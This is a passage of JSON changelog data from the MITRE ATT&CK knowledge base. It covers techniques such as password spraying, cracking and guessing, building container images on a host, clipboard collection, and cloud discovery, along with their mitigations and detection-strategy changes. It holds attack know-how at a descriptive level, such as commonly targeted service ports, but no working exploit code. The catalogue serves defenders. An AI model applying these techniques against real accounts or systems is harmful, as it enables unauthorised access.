"source_name": "mitre-attack",
"url": "https://attack.mitre.org/techniques/T1110/004",
"external_id": "T1110.004"
},
{
"source_name": "US-CERT TA18-068A 2018",
"description": "US-CERT. (2018, March 27). TA18-068A Brute Force Attacks Conducted by Cyber Actors. Retrieved October 2, 2019.",
"url": "https://www.us-cert.gov/ncas/alerts/TA18-086A"
}
],
"object_marking_refs": [
"marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
],
"x_mitre_attack_spec_version": "3.2.0",
"x_mitre_contributors": [
"Diogo Fernandes",
"Anastasios Pingios"
],
"x_mitre_deprecated": false,
"x_mitre_detection": "",
"x_mitre_domains": [
"enterprise-attack"
],
"x_mitre_is_subtechnique": true,
"x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
"x_mitre_platforms": [
"Windows",
"SaaS",
"IaaS",
"Linux",
"macOS",
"Containers",
"Network Devices",
"Office Suite",
"Identity Provider",
"ESXi"
],
"x_mitre_version": "1.7",
"detailed_diff": "{\"dictionary_item_removed\": {\"root['x_mitre_data_sources']\": [\"Application Log: Application Log Content\", \"User Account: User Account Authentication\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:49:14.923000+00:00\", \"old_value\": \"2025-04-15 19:58:59.077000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"Monitor authentication logs for system and application login failures of [Valid Accounts](https://attack.mitre.org/techniques/T1078). If authentication failures are high, then there may be a brute force attempt to gain access to a system using legitimate credentials.\"}}}",
"previous_version": "1.7",
"changelog_mitigations": {
"shared": [
"M1018: User Account Management",
"M1027: Password Policies",
"M1032: Multi-factor Authentication",
"M1036: Account Use Policies"
],
"new": [],
"dropped": []
},
"changelog_datacomponent_detections": {
"shared": [],
"new": [],
"dropped": [
"DS0002: User Account (User Account Authentication)",
"DS0015: Application Log (Application Log Content)"
]
},
"changelog_detectionstrategy_detections": {
"shared": [],
"new": [
"DET0460: Credential Stuffing Detection via Reused Breached Credentials Across Services"
],
"dropped": []
}
},
{
"type": "attack-pattern",
"id": "attack-pattern--1d24cdee-9ea2-4189-b08e-af110bf2435d",
"created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
"created": "2020-02-11 18:38:56.197000+00:00",
"modified": "2025-10-24 17:48:29.397000+00:00",
"name": "Password Cracking",
"description": "Adversaries may use password cracking to attempt to recover usable credentials, such as plaintext passwords, when credential material such as password hashes are obtained. [OS Credential Dumping](https://attack.mitre.org/techniques/T1003) can be used to obtain password hashes, this may only get an adversary so far when [Pass the Hash](https://attack.mitre.org/techniques/T1550/002) is not an option. Further, adversaries may leverage [Data from Configuration Repository](https://attack.mitre.org/techniques/T1602) in order to obtain hashed credentials for network devices.(Citation: US-CERT-TA18-106A) \n\nTechniques to systematically guess the passwords used to compute hashes are available, or the adversary may use a pre-computed rainbow table to crack hashes. Cracking hashes is usually done on adversary-controlled systems outside of the target network.(Citation: Wikipedia Password cracking) The resulting plaintext password resulting from a successfully cracked hash may be used to log into systems, resources, and services in which the account has access.",
"kill_chain_phases": [
{
"kill_chain_name": "mitre-attack",
"phase_name": "credential-access"
}
],
"revoked": false,
"external_references": [
{
"source_name": "mitre-attack",
"url": "https://attack.mitre.org/techniques/T1110/002",
"external_id": "T1110.002"
},
{
"source_name": "US-CERT-TA18-106A",
"description": "US-CERT. (2018, April 20). Alert (TA18-106A) Russian State-Sponsored Cyber Actors Targeting Network Infrastructure Devices. Retrieved October 19, 2020.",
"url": "https://www.us-cert.gov/ncas/alerts/TA18-106A"
},
{
"source_name": "Wikipedia Password cracking",
"description": "Wikipedia. (n.d.). Password cracking. Retrieved December 23, 2015.",
"url": "https://en.wikipedia.org/wiki/Password_cracking"
}
],
"object_marking_refs": [
"marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
],
"x_mitre_attack_spec_version": "3.2.0",
"x_mitre_contributors": [
"Mohamed Kmal"
],
"x_mitre_deprecated": false,
"x_mitre_detection": "",
"x_mitre_domains": [
"enterprise-attack"
],
"x_mitre_is_subtechnique": true,
"x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
"x_mitre_platforms": [
"Linux",
"macOS",
"Windows",
"Network Devices",
"Office Suite",
"Identity Provider"
],
"x_mitre_version": "1.4",
"detailed_diff": "{\"dictionary_item_removed\": {\"root['x_mitre_data_sources']\": [\"User Account: User Account Authentication\", \"Application Log: Application Log Content\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:48:29.397000+00:00\", \"old_value\": \"2025-04-15 19:58:11.912000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"It is difficult to detect when hashes are cracked, since this is generally done outside the scope of the target network. Consider focusing efforts on detecting other adversary behavior used to acquire credential materials, such as [OS Credential Dumping](https://attack.mitre.org/techniques/T1003) or [Kerberoasting](https://attack.mitre.org/techniques/T1558/003).\"}}}",
"previous_version": "1.4",
"changelog_mitigations": {
"shared": [
"M1027: Password Policies",
"M1032: Multi-factor Authentication"
],
"new": [],
"dropped": []
},
"changelog_datacomponent_detections": {
"shared": [],
"new": [],
"dropped": [
"DS0002: User Account (User Account Authentication)",
"DS0015: Application Log (Application Log Content)"
]
},
"changelog_detectionstrategy_detections": {
"shared": [],
"new": [
"DET0105: Post-Credential Dump Password Cracking Detection via Suspicious File Access and Hash Analysis Tools"
],
"dropped": []
}
},
{
"type": "attack-pattern",
"id": "attack-pattern--09c4c11e-4fa1-4f8c-8dad-3cf8e69ad119",
"created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
"created": "2020-02-11 18:38:22.617000+00:00",
"modified": "2025-10-24 17:48:21.929000+00:00",
"name": "Password Guessing",
"description": "Adversaries with no prior knowledge of legitimate credentials within the system or environment may guess passwords to attempt access to accounts. Without knowledge of the password for an account, an adversary may opt to systematically guess the password using a repetitive or iterative mechanism. An adversary may guess login credentials without prior knowledge of system or environment passwords during an operation by using a list of common passwords. Password guessing may or may not take into account the target's policies on password complexity or use policies that may lock accounts out after a number of failed attempts.\n\nGuessing passwords can be a risky option because it could cause numerous authentication failures and account lockouts, depending on the organization's login failure policies. (Citation: Cylance Cleaver)\n\nTypically, management services over commonly used ports are used when guessing passwords. Commonly targeted services include the following:\n\n* SSH (22/TCP)\n* Telnet (23/TCP)\n* FTP (21/TCP)\n* NetBIOS / SMB / Samba (139/TCP & 445/TCP)\n* LDAP (389/TCP)\n* Kerberos (88/TCP)\n* RDP / Terminal Services (3389/TCP)\n* HTTP/HTTP Management Services (80/TCP & 443/TCP)\n* MSSQL (1433/TCP)\n* Oracle (1521/TCP)\n* MySQL (3306/TCP)\n* VNC (5900/TCP)\n* SNMP (161/UDP and 162/TCP/UDP)\n\nIn addition to management services, adversaries may \"target single sign-on (SSO) and cloud-based applications utilizing federated authentication protocols,\" as well as externally facing email applications, such as Office 365.(Citation: US-CERT TA18-068A 2018). Further, adversaries may abuse network device interfaces (such as `wlanAPI`) to brute force accessible wifi-router(s) via wireless authentication protocols.(Citation: Trend Micro Emotet 2020)\n\nIn default environments, LDAP and Kerberos connection attempts are less likely to trigger events over SMB, which creates Windows \"logon failure\" event ID 4625.",
"kill_chain_phases": [
{
"kill_chain_name": "mitre-attack",
"phase_name": "credential-access"
}
],
"revoked": false,
"external_references": [
{
"source_name": "mitre-attack",
"url": "https://attack.mitre.org/techniques/T1110/001",
"external_id": "T1110.001"
},
{
"source_name": "Trend Micro Emotet 2020",
"description": "Cybercrime & Digital Threat Team. (2020, February 13). Emotet Now Spreads via Wi-Fi. Retrieved February 16, 2022.",
"url": "https://www.trendmicro.com/vinfo/us/security/news/cybercrime-and-digital-threats/emotet-now-spreads-via-wi-fi"
},
{
"source_name": "Cylance Cleaver",
"description": "Cylance. (2014, December). Operation Cleaver. Retrieved September 14, 2017.",
"url": "https://web.archive.org/web/20200302085133/https://www.cylance.com/content/dam/cylance/pages/operation-cleaver/Cylance_Operation_Cleaver_Report.pdf"
},
{
"source_name": "US-CERT TA18-068A 2018",
"description": "US-CERT. (2018, March 27). TA18-068A Brute Force Attacks Conducted by Cyber Actors. Retrieved October 2, 2019.",
"url": "https://www.us-cert.gov/ncas/alerts/TA18-086A"
}
],
"object_marking_refs": [
"marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
],
"x_mitre_attack_spec_version": "3.2.0",
"x_mitre_contributors": [
"Microsoft Threat Intelligence Center (MSTIC)",
"Mohamed Kmal"
],
"x_mitre_deprecated": false,
"x_mitre_detection": "",
"x_mitre_domains": [
"enterprise-attack"
],
"x_mitre_is_subtechnique": true,
"x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
"x_mitre_platforms": [
"Windows",
"SaaS",
"IaaS",
"Linux",
"macOS",
"Containers",
"Network Devices",
"Office Suite",
"Identity Provider",
"ESXi"
],
"x_mitre_version": "1.7",
"detailed_diff": "{\"dictionary_item_removed\": {\"root['x_mitre_data_sources']\": [\"User Account: User Account Authentication\", \"Application Log: Application Log Content\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:48:21.929000+00:00\", \"old_value\": \"2025-04-15 19:58:04.272000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"Monitor authentication logs for system and application login failures of [Valid Accounts](https://attack.mitre.org/techniques/T1078). If authentication failures are high, then there may be a brute force attempt to gain access to a system using legitimate credentials.\"}}}",
"previous_version": "1.7",
"changelog_mitigations": {
"shared": [
"M1027: Password Policies",
"M1032: Multi-factor Authentication",
"M1036: Account Use Policies",
"M1051: Update Software"
],
"new": [],
"dropped": []
},
"changelog_datacomponent_detections": {
"shared": [],
"new": [],
"dropped": [
"DS0002: User Account (User Account Authentication)",
"DS0015: Application Log (Application Log Content)"
]
},
"changelog_detectionstrategy_detections": {
"shared": [],
"new": [
"DET0551: Password Guessing via Multi-Source Authentication Failure Correlation"
],
"dropped": []
}
},
{
"type": "attack-pattern",
"id": "attack-pattern--800f9819-7007-4540-a520-40e655876800",
"created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
"created": "2021-03-30 17:54:03.944000+00:00",
"modified": "2025-10-24 17:49:01.646000+00:00",
"name": "Build Image on Host",
"description": "Adversaries may build a container image directly on a host to bypass defenses that monitor for the retrieval of malicious images from a public registry. A remote build request may be sent to the Docker API that includes a Dockerfile that pulls a vanilla base image, such as alpine, from a public or local registry and then builds a custom image upon it.(Citation: Docker Build Image)\n\nAn adversary may take advantage of that build API to build a custom image on the host that includes malware downloaded from their C2 server, and then they may utilize [Deploy Container](https://attack.mitre.org/techniques/T1610) using that custom image.(Citation: Aqua Build Images on Hosts)(Citation: Aqua Security Cloud Native Threat Report June 2021) If the base image is pulled from a public registry, defenses will likely not detect the image as malicious since it\u2019s a vanilla image. If the base image already resides in a local registry, the pull may be considered even less suspicious since the image is already in the environment. ",
"kill_chain_phases": [
{
"kill_chain_name": "mitre-attack",
"phase_name": "defense-evasion"
}
],
"revoked": false,
"external_references": [
{
"source_name": "mitre-attack",
"url": "https://attack.mitre.org/techniques/T1612",
"external_id": "T1612"
},
{
"source_name": "Aqua Build Images on Hosts",
"description": "Assaf Morag. (2020, July 15). Threat Alert: Attackers Building Malicious Images on Your Hosts. Retrieved March 29, 2021.",
"url": "https://blog.aquasec.com/malicious-container-image-docker-container-host"
},
{
"source_name": "Docker Build Image",
"description": "Docker. ( null). Docker Engine API v1.41 Reference - Build an Image. Retrieved March 30, 2021.",
"url": "https://docs.docker.com/engine/api/v1.41/#operation/ImageBuild"
},
{
"source_name": "Aqua Security Cloud Native Threat Report June 2021",
"description": "Team Nautilus. (2021, June). Attacks in the Wild on the Container Supply Chain and Infrastructure. Retrieved August 26, 2021.",
"url": "https://info.aquasec.com/hubfs/Threat%20reports/AquaSecurity_Cloud_Native_Threat_Report_2021.pdf?utm_campaign=WP%20-%20Jun2021%20Nautilus%202021%20Threat%20Research%20Report&utm_medium=email&_hsmi=132931006&_hsenc=p2ANqtz-_8oopT5Uhqab8B7kE0l3iFo1koirxtyfTehxF7N-EdGYrwk30gfiwp5SiNlW3G0TNKZxUcDkYOtwQ9S6nNVNyEO-Dgrw&utm_content=132931006&utm_source=hs_automation"
}
],
"object_marking_refs": [
"marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
],
"x_mitre_attack_spec_version": "3.2.0",
"x_mitre_contributors": [
"Assaf Morag, @MoragAssaf, Team Nautilus Aqua Security",
"Roi Kol, @roykol1, Team Nautilus Aqua Security",
"Michael Katchinskiy, @michael64194968, Team Nautilus Aqua Security",
"Vishwas Manral, McAfee"
],
"x_mitre_deprecated": false,
"x_mitre_detection": "",
"x_mitre_domains": [
"enterprise-attack"
],
"x_mitre_is_subtechnique": false,
"x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
"x_mitre_platforms": [
"Containers"
],
"x_mitre_version": "1.3",
"detailed_diff": "{\"dictionary_item_removed\": {\"root['x_mitre_data_sources']\": [\"Image: Image Creation\", \"Network Traffic: Network Traffic Content\", \"Network Traffic: Network Connection Creation\", \"Network Traffic: Network Traffic Flow\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:49:01.646000+00:00\", \"old_value\": \"2025-04-15 21:54:42.589000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"Monitor for unexpected Docker image build requests to the Docker daemon on hosts in the environment. Additionally monitor for subsequent network communication with anomalous IPs that have never been seen before in the environment that indicate the download of malicious code.\"}}}",
"previous_version": "1.3",
"changelog_mitigations": {
"shared": [
"M1026: Privileged Account Management",
"M1030: Network Segmentation",
"M1035: Limit Access to Resource Over Network",
"M1047: Audit"
],
"new": [],
"dropped": []
},
"changelog_datacomponent_detections": {
"shared": [],
"new": [],
"dropped": [
"DS0007: Image (Image Creation)",
"DS0029: Network Traffic (Network Connection Creation)",
"DS0029: Network Traffic (Network Traffic Content)",
"DS0029: Network Traffic (Network Traffic Flow)"
]
},
"changelog_detectionstrategy_detections": {
"shared": [],
"new": [
"DET0459: Detection Strategy for Build Image on Host"
],
"dropped": []
}
},
{
"type": "attack-pattern",
"id": "attack-pattern--30973a08-aed9-4edf-8604-9084ce1b5c4f",
"created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
"created": "2017-05-31 21:31:25.967000+00:00",
"modified": "2025-10-24 17:48:36.079000+00:00",
"name": "Clipboard Data",
"description": "Adversaries may collect data stored in the clipboard from users copying information within or between applications. \n\nFor example, on Windows adversaries can access clipboard data by using clip.exe or Get-Clipboard.(Citation: MSDN Clipboard)(Citation: clip_win_server)(Citation: CISA_AA21_200B) Additionally, adversaries may monitor then replace users\u2019 clipboard with their data (e.g., [Transmitted Data Manipulation](https://attack.mitre.org/techniques/T1565/002)).(Citation: mining_ruby_reversinglabs)\n\nmacOS and Linux also have commands, such as pbpaste, to grab clipboard contents.(Citation: Operating with EmPyre)",
"kill_chain_phases": [
{
"kill_chain_name": "mitre-attack",
"phase_name": "collection"
}
],
"revoked": false,
"external_references": [
{
"source_name": "mitre-attack",
"url": "https://attack.mitre.org/techniques/T1115",
"external_id": "T1115"
},
{
"source_name": "CISA_AA21_200B",
"description": "CISA. (2021, August 20). Alert (AA21-200B) Chinese State-Sponsored Cyber Operations: Observed TTPs. Retrieved June 21, 2022.",
"url": "https://www.cisa.gov/uscert/ncas/alerts/aa21-200b"
},
{
"source_name": "mining_ruby_reversinglabs",
"description": "Maljic, T. (2020, April 16). Mining for malicious Ruby gems. Retrieved October 15, 2022.",
"url": "https://blog.reversinglabs.com/blog/mining-for-malicious-ruby-gems"
},
{
"source_name": "clip_win_server",
"description": "Microsoft, JasonGerend, et al. (2023, February 3). clip. Retrieved June 21, 2022.",
"url": "https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/clip"
},
{
"source_name": "MSDN Clipboard",
"description": "Microsoft. (n.d.). About the Clipboard. Retrieved March 29, 2016.",
"url": "https://msdn.microsoft.com/en-us/library/ms649012"
},
{
"source_name": "Operating with EmPyre",
"description": "rvrsh3ll. (2016, May 18). Operating with EmPyre. Retrieved July 12, 2017.",
"url": "https://medium.com/rvrsh3ll/operating-with-empyre-ea764eda3363"
}
],
"object_marking_refs": [
"marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
],
"x_mitre_attack_spec_version": "3.2.0",
"x_mitre_deprecated": false,
"x_mitre_detection": "",
"x_mitre_domains": [
"enterprise-attack"
],
"x_mitre_is_subtechnique": false,
"x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
"x_mitre_platforms": [
"Linux",
"macOS",
"Windows"
],
"x_mitre_version": "1.2",
"detailed_diff": "{\"dictionary_item_removed\": {\"root['x_mitre_data_sources']\": [\"Process: OS API Execution\", \"Command: Command Execution\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:48:36.079000+00:00\", \"old_value\": \"2025-04-15 21:57:50.289000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"Access to the clipboard is a legitimate function of many applications on an operating system. If an organization chooses to monitor for this behavior, then the data will likely need to be correlated against other suspicious or non-user-driven activity.\"}}}",
"previous_version": "1.2",
"changelog_mitigations": {
"shared": [],
"new": [],
"dropped": []
},
"changelog_datacomponent_detections": {
"shared": [],
"new": [],
"dropped": [
"DS0009: Process (OS API Execution)",
"DS0017: Command (Command Execution)"
]
},
"changelog_detectionstrategy_detections": {
"shared": [],
"new": [
"DET0341: Clipboard Data Access with Anomalous Context"
],
"dropped": []
}
},
{
"type": "attack-pattern",
"id": "attack-pattern--57a3d31a-d04f-4663-b2da-7df8ec3f8c9d",
"created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
"created": "2020-08-20 17:51:25.671000+00:00",
"modified": "2025-10-24 17:48:49.479000+00:00",
"name": "Cloud Infrastructure Discovery",
"description": "An adversary may attempt to discover infrastructure and resources that are available within an infrastructure-as-a-service (IaaS) environment. This includes compute service resources such as instances, virtual machines, and snapshots as well as resources of other services including the storage and database services.\n\nCloud providers offer methods such as APIs and commands issued through CLIs to serve information about infrastructure. For example, AWS provides a DescribeInstances API within the Amazon EC2 API that can return information about one or more instances within an account, the ListBuckets API that returns a list of all buckets owned by the authenticated sender of the request, the HeadBucket API to determine a bucket\u2019s existence along with access permissions of the request sender, or the GetPublicAccessBlock API to retrieve access block configuration for a bucket.(Citation: Amazon Describe Instance)(Citation: Amazon Describe Instances API)(Citation: AWS Get Public Access Block)(Citation: AWS Head Bucket) Similarly, GCP's Cloud SDK CLI provides the gcloud compute instances list command to list all Google Compute Engine instances in a project (Citation: Google Compute Instances), and Azure's CLI command az vm list lists details of virtual machines.(Citation: Microsoft AZ CLI) In addition to API commands, adversaries can utilize open source tools to discover cloud storage infrastructure through [Wordlist Scanning](https://attack.mitre.org/techniques/T1595/003).(Citation: Malwarebytes OSINT Leaky Buckets - Hioureas)\n\nAn adversary may enumerate resources using a compromised user's access keys to determine which are available to that user.(Citation: Expel IO Evil in AWS) The discovery of these available resources may help adversaries determine their next steps in the Cloud environment, such as establishing Persistence.(Citation: Mandiant M-Trends 2020)An adversary may also use this information to change the configuration to make the bucket publicly accessible, allowing data to be accessed without authentication. Adversaries have also may use infrastructure discovery APIs such as DescribeDBInstances to determine size, owner, permissions, and network ACLs of database resources. (Citation: AWS Describe DB Instances) Adversaries can use this information to determine the potential value of databases and discover the requirements to access them. Unlike in [Cloud Service Discovery](https://attack.mitre.org/techniques/T1526), this technique focuses on the discovery of components of the provided services rather than the services themselves.",
"kill_chain_phases": [
{
"kill_chain_name": "mitre-attack",
"phase_name": "discovery"
}
],
"revoked": false,
"external_references": [
{
"source_name": "mitre-attack",
"url": "https://attack.mitre.org/techniques/T1580",
"external_id": "T1580"
},
{
"source_name": "Expel IO Evil in AWS",
"description": "A. Randazzo, B. Manahan and S. Lipton. (2020, April 28). Finding Evil in AWS. Retrieved June 25, 2020.",
"url": "https://expel.io/blog/finding-evil-in-aws/"
},
{
"source_name": "AWS Head Bucket",
"description": "Amazon Web Services. (n.d.). AWS HeadBucket. Retrieved February 14, 2022.",
"url": "https://docs.aws.amazon.com/AmazonS3/latest/API/API_HeadBucket.html"
},
{
"source_name": "AWS Get Public Access Block",
"description": "Amazon Web Services. (n.d.). Retrieved May 28, 2021.",
"url": "https://docs.aws.amazon.com/AmazonS3/latest/API/API_GetPublicAccessBlock.html"
},
{
"source_name": "AWS Describe DB Instances",
"description": "Amazon Web Services. (n.d.). Retrieved May 28, 2021.",
"url": "https://docs.aws.amazon.com/AmazonRDS/latest/APIReference/API_DescribeDBInstances.html"
},
{
"source_name": "Amazon Describe Instance",
"description": "Amazon. (n.d.). describe-instance-information. Retrieved March 3, 2020.",
"url": "https://docs.aws.amazon.com/cli/latest/reference/ssm/describe-instance-information.html"
},
{
"source_name": "Amazon Describe Instances API",
"description": "Amazon. (n.d.). DescribeInstances. Retrieved May 26, 2020.",
"url": "https://docs.aws.amazon.com/AWSEC2/latest/APIReference/API_DescribeInstances.html"
},
{
"source_name": "Google Compute Instances",
"description": "Google. (n.d.). gcloud compute instances list. Retrieved May 26, 2020.",
"url": "https://cloud.google.com/sdk/gcloud/reference/compute/instances/list"
},
{
"source_name": "Mandiant M-Trends 2020",
"description": "Mandiant. (2020, February). M-Trends 2020. Retrieved November 17, 2024.",
"url": "https://www.mandiant.com/sites/default/files/2021-09/mtrends-2020.pdf"
},
{
"source_name": "Microsoft AZ CLI",
"description": "Microsoft. (n.d.). az ad user. Retrieved October 6, 2019.",
"url": "https://docs.microsoft.com/en-us/cli/azure/ad/user?view=azure-cli-latest"
},
{
"source_name": "Malwarebytes OSINT Leaky Buckets - Hioureas",
"description": "Vasilios Hioureas. (2019, September 13). Hacking with AWS: incorporating leaky buckets into your OSINT workflow. Retrieved February 14, 2022.",
"url": "https://blog.malwarebytes.com/researchers-corner/2019/09/hacking-with-aws-incorporating-leaky-buckets-osint-workflow/"
}
],
"object_marking_refs": [
"marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
],
"x_mitre_attack_spec_version": "3.2.0",
"x_mitre_contributors": [
"Regina Elwell",
"Praetorian",
"Isif Ibrahima, Mandiant"
],
"x_mitre_deprecated": false,
"x_mitre_detection": "",
"x_mitre_domains": [
"enterprise-attack"
],
"x_mitre_is_subtechnique": false,
"x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
"x_mitre_platforms": [
"IaaS"
],
"x_mitre_version": "1.3",
"detailed_diff": "{\"dictionary_item_removed\": {\"root['x_mitre_data_sources']\": [\"Instance: Instance Enumeration\", \"Cloud Storage: Cloud Storage Enumeration\", \"Volume: Volume Enumeration\", \"Snapshot: Snapshot Enumeration\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:48:49.479000+00:00\", \"old_value\": \"2025-04-15 22:02:30.057000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"Establish centralized logging for the activity of cloud infrastructure components. Monitor logs for actions that could be taken to gather information about cloud infrastructure, including the use of discovery API calls by new or unexpected users and enumerations from unknown or malicious IP addresses. To reduce false positives, valid change management procedures could introduce a known identifier that is logged with the change (e.g., tag or header) if supported by the cloud provider, to help distinguish valid, expected actions from malicious ones.\"}}}",
"previous_version": "1.3",
"changelog_mitigations": {
"shared": [
"M1018: User Account Management"
],
"new": [],
"dropped": []
},
"changelog_datacomponent_detections": {
"shared": [],
"new": [],
"dropped": [
"DS0010: Cloud Storage (Cloud Storage Enumeration)",
"DS0020: Snapshot (Snapshot Enumeration)",
"DS0030: Instance (Instance Enumeration)",
"DS0034: Volume (Volume Enumeration)"
]
},
"changelog_detectionstrategy_detections": {
"shared": [],
"new": [
"DET0169: Detection Strategy for Cloud Infrastructure Discovery"
],
"dropped": []
}
},
{
"type": "attack-pattern",
"id": "attack-pattern--e49920b0-6c54-40c1-9571-73723653205f",
"created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
"created": "2019-08-30 18:11:24.582000+00:00",
"modified": "2025-10-24 17:49:32.022000+00:00",
"name": "Cloud Service Dashboard",
"description": "An adversary may use a cloud service dashboard GUI with stolen credentials to gain useful information from an operational cloud environment, such as specific services, resources, and features. For example, the GCP Command Center can be used to view all assets, review findings of potential security risks, and run additional queries, such as finding public IP addresses and open ports.(Citation: Google Command Center Dashboard)\n\nDepending on the configuration of the environment, an adversary may be able to enumerate more information via the graphical dashboard than an API. This also allows the adversary to gain information without manually making any API requests.",
"kill_chain_phases": [
{
"kill_chain_name": "mitre-attack",
"phase_name": "discovery"
}
],
"revoked": false,
"external_references": [
{
"source_name": "mitre-attack",
"url": "https://attack.mitre.org/techniques/T1538",
"external_id": "T1538"
},
{
"source_name": "AWS Console Sign-in Events",
"description": "Amazon. (n.d.). AWS Console Sign-in Events. Retrieved October 23, 2019.",
"url": "https://docs.aws.amazon.com/awscloudtrail/latest/userguide/cloudtrail-event-reference-aws-console-sign-in-events.html"
},
{
"source_name": "Google Command Center Dashboard",
"description": "Google. (2019, October 3). Quickstart: Using the dashboard. Retrieved October 8, 2019.",
"url": "https://cloud.google.com/security-command-center/docs/quickstart-scc-dashboard"
}
],
"object_marking_refs": [
"marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
],
"x_mitre_attack_spec_version": "3.2.0",
"x_mitre_contributors": [
"Praetorian",
"Obsidian Security"
],
"x_mitre_deprecated": false,
"x_mitre_detection": "",
"x_mitre_domains": [
"enterprise-attack"
],
"x_mitre_is_subtechnique": false,
"x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
"x_mitre_platforms": [
"IaaS",
"SaaS",
"Office Suite",
"Identity Provider"
],
"x_mitre_version": "1.5",
"detailed_diff": "{\"dictionary_item_removed\": {\"root['x_mitre_data_sources']\": [\"Logon Session: Logon Session Creation\", \"User Account: User Account Authentication\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:49:32.022000+00:00\", \"old_value\": \"2025-04-15 19:59:16.288000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"Monitor account activity logs to see actions performed and activity associated with the cloud service management console. Some cloud providers, such as AWS, provide distinct log events for login attempts to the management console.(Citation: AWS Console Sign-in Events)\"}}}",
"previous_version": "1.5",
"changelog_mitigations": {
"shared": [
"M1018: User Account Management"
],
"new": [],
"dropped": []
},
"changelog_datacomponent_detections": {
"shared": [],
"new": [],
"dropped": [
"DS0002: User Account (User Account Authentication)",
"DS0028: Logon Session (Logon Session Creation)"
]
},
"changelog_detectionstrategy_detections": {
"shared": [],
"new": [
"DET0291: Detection of Cloud Service Dashboard Usage via GUI-Based Cloud Access"
],
"dropped": []
}
},
{
"type": "attack-pattern",
"id": "attack-pattern--e24fcba8-2557-4442-a139-1ee2f2e784db",
"created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
"created": "2019-08-30 13:01:10.120000+00:00",
"modified": "2025-10-24 17:49:30.791000+00:00",
"name": "Cloud Service Discovery",
"description": "An adversary may attempt to enumerate the cloud services running on a system after gaining access. These methods can differ from platform-as-a-service (PaaS), to infrastructure-as-a-service (IaaS), or software-as-a-service (SaaS). Many services exist throughout the various cloud providers and can include Continuous Integration and Continuous Delivery (CI/CD), Lambda Functions, Entra ID, etc. They may also include security services, such as AWS GuardDuty and Microsoft Defender for Cloud, and logging services, such as AWS CloudTrail and Google Cloud Audit Logs.\n\nAdversaries may attempt to discover information about the services enabled throughout the environment. Azure tools and APIs, such as the Microsoft Graph API and Azure Resource Manager API, can enumerate resources and services, including applications, management groups, resources and policy definitions, and their relationships that are accessible by an identity.(Citation: Azure - Resource Manager API)(Citation: Azure AD Graph API)\n\nFor example, Stormspotter is an open source tool for enumerating and constructing a graph for Azure resources and services, and Pacu is an open source AWS exploitation framework that supports several methods for discovering cloud services.(Citation: Azure - Stormspotter)(Citation: GitHub Pacu)\n\nAdversaries may use the information gained to shape follow-on behaviors, such as targeting data or credentials from enumerated services or evading identified defenses through [Disable or Modify Tools](https://attack.mitre.org/techniques/T1562/001) or [Disable or Modify Cloud Logs](https://attack.mitre.org/techniques/T1562/008).",
"kill_chain_phases": [
{
"kill_chain_name": "mitre-attack",
"phase_name": "discovery"
}
],
"revoked": false,
"external_references": [
{
"source_name": "mitre-attack",
"url": "https://attack.mitre.org/techniques/T1526",
"external_id": "T1526"
},
{
"source_name": "Azure AD Graph API",
"description": "Microsoft. (2016, March 26). Operations overview | Graph API concepts. Retrieved June 18, 2020.",
"url": "https://docs.microsoft.com/en-us/previous-versions/azure/ad/graph/howto/azure-ad-graph-api-operations-overview"
},
{
"source_name": "Azure - Resource Manager API",
"description": "Microsoft. (2019, May 20). Azure Resource Manager. Retrieved June 17, 2020.",
"url": "https://docs.microsoft.com/en-us/rest/api/resources/"
},
{
"source_name": "Azure - Stormspotter",
"description": "Microsoft. (2020). Azure Stormspotter GitHub. Retrieved June 17, 2020.",
"url": "https://github.com/Azure/Stormspotter"
},
{
"source_name": "GitHub Pacu",
"description": "Rhino Security Labs. (2019, August 22). Pacu. Retrieved October 17, 2019.",
"url": "https://github.com/RhinoSecurityLabs/pacu"
}
],
"object_marking_refs": [
"marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
],
"x_mitre_attack_spec_version": "3.2.0",
"x_mitre_contributors": [
